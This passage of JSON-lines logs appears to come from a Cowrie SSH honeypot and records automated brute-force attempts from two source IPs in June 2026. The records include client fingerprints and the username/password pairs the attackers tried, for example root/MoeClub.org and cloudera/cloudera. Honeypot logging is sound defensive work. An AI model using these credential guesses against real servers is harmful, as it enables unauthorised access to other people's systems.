ss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:24.977603Z","src_ip":"45.153.34.195","session":"a881d8c17f53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:25.226257Z","src_ip":"45.153.34.195","session":"a881d8c17f53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31612,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1b86b919b49","protocol":"ssh","message":"New connection: 91.92.40.36:31612 (159.203.135.109:22) [session: e1b86b919b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:25.790469Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:26.315715Z","src_ip":"45.153.34.195","session":"a881d8c17f53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uae","password":"123456","message":"login attempt [uae/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:26.917491Z","src_ip":"91.92.40.36","session":"ad35063bd210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23302,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2157f60c552","protocol":"ssh","message":"New connection: 45.153.34.195:23302 (10.17.0.5:22) [session: f2157f60c552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:27.803504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:27.819386Z","src_ip":"45.153.34.195","session":"f2157f60c552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:27.912548Z","src_ip":"45.153.34.195","session":"f2157f60c552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios001","message":"login attempt [nagios/nagios001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:28.205265Z","src_ip":"91.92.40.36","session":"0128ab8b9b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloudera","password":"cloudera","message":"login attempt [cloudera/cloudera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:28.210633Z","src_ip":"45.153.34.195","session":"f2157f60c552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:29.311713Z","src_ip":"45.153.34.195","session":"f2157f60c552","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:29.823198Z","src_ip":"91.92.40.36","session":"e1b86b919b49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:29.827845Z","src_ip":"91.92.40.36","session":"e1b86b919b49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23304,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdbd06e21d86","protocol":"ssh","message":"New connection: 45.153.34.195:23304 (10.17.0.5:22) [session: fdbd06e21d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:30.514892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:30.528518Z","src_ip":"45.153.34.195","session":"fdbd06e21d86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:30.794295Z","src_ip":"45.153.34.195","session":"fdbd06e21d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MoeClub.org","message":"login attempt [root/MoeClub.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:31.177110Z","src_ip":"45.153.34.195","session":"fdbd06e21d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:32.261708Z","src_ip":"45.153.34.195","session":"fdbd06e21d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.9","message":"Connection lost after 27.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:32.849286Z","src_ip":"91.92.40.36","session":"ad35063bd210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43326,"dst_ip":"10.17.0.5","dst_port":22,"session":"b728929b2c6a","protocol":"ssh","message":"New connection: 45.153.34.195:43326 (10.17.0.5:22) [session: b728929b2c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:33.575479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:33.582979Z","src_ip":"45.153.34.195","session":"b728929b2c6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:33.670365Z","src_ip":"45.153.34.195","session":"b728929b2c6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.8","message":"Connection lost after 24.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:33.878521Z","src_ip":"91.92.40.36","session":"0128ab8b9b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31658,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf03804c75a8","protocol":"ssh","message":"New connection: 91.92.40.36:31658 (159.203.135.109:22) [session: bf03804c75a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:33.925518Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"momo123","message":"login attempt [root/momo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:34.225646Z","src_ip":"45.153.34.195","session":"b728929b2c6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:35.309486Z","src_ip":"45.153.34.195","session":"b728929b2c6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vnc","password":"123","message":"login attempt [vnc/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:35.561229Z","src_ip":"91.92.40.36","session":"3a690d0e8aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43342,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ba8c3ff7128","protocol":"ssh","message":"New connection: 45.153.34.195:43342 (10.17.0.5:22) [session: 6ba8c3ff7128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:36.475904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:36.480481Z","src_ip":"45.153.34.195","session":"6ba8c3ff7128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:36.575254Z","src_ip":"45.153.34.195","session":"6ba8c3ff7128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1","message":"login attempt [user2/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:36.823501Z","src_ip":"45.153.34.195","session":"6ba8c3ff7128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:37.912622Z","src_ip":"45.153.34.195","session":"6ba8c3ff7128","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:38.931350Z","src_ip":"91.92.40.36","session":"bf03804c75a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:38.935177Z","src_ip":"91.92.40.36","session":"bf03804c75a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50882,"dst_ip":"159.203.135.109","dst_port":22,"session":"74180bcf9fc5","protocol":"ssh","message":"New connection: 91.92.40.36:50882 (159.203.135.109:22) [session: 74180bcf9fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:39.389301Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43374,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb0d736b9e7b","protocol":"ssh","message":"New connection: 45.153.34.195:43374 (10.17.0.5:22) [session: fb0d736b9e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:39.421525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:39.426788Z","src_ip":"45.153.34.195","session":"fb0d736b9e7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:39.515021Z","src_ip":"45.153.34.195","session":"fb0d736b9e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ddd","message":"login attempt [root/ddd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:39.773330Z","src_ip":"45.153.34.195","session":"fb0d736b9e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:40.861998Z","src_ip":"45.153.34.195","session":"fb0d736b9e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.6","message":"Connection lost after 27.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:41.060352Z","src_ip":"91.92.40.36","session":"3a690d0e8aa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p@ssword123","message":"login attempt [ubuntu/p@ssword123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:41.363754Z","src_ip":"91.92.40.36","session":"102377a1aaf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":30594,"dst_ip":"10.17.0.5","dst_port":22,"session":"471d2a84506b","protocol":"ssh","message":"New connection: 45.153.34.195:30594 (10.17.0.5:22) [session: 471d2a84506b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:42.306936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:42.369287Z","src_ip":"45.153.34.195","session":"471d2a84506b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com"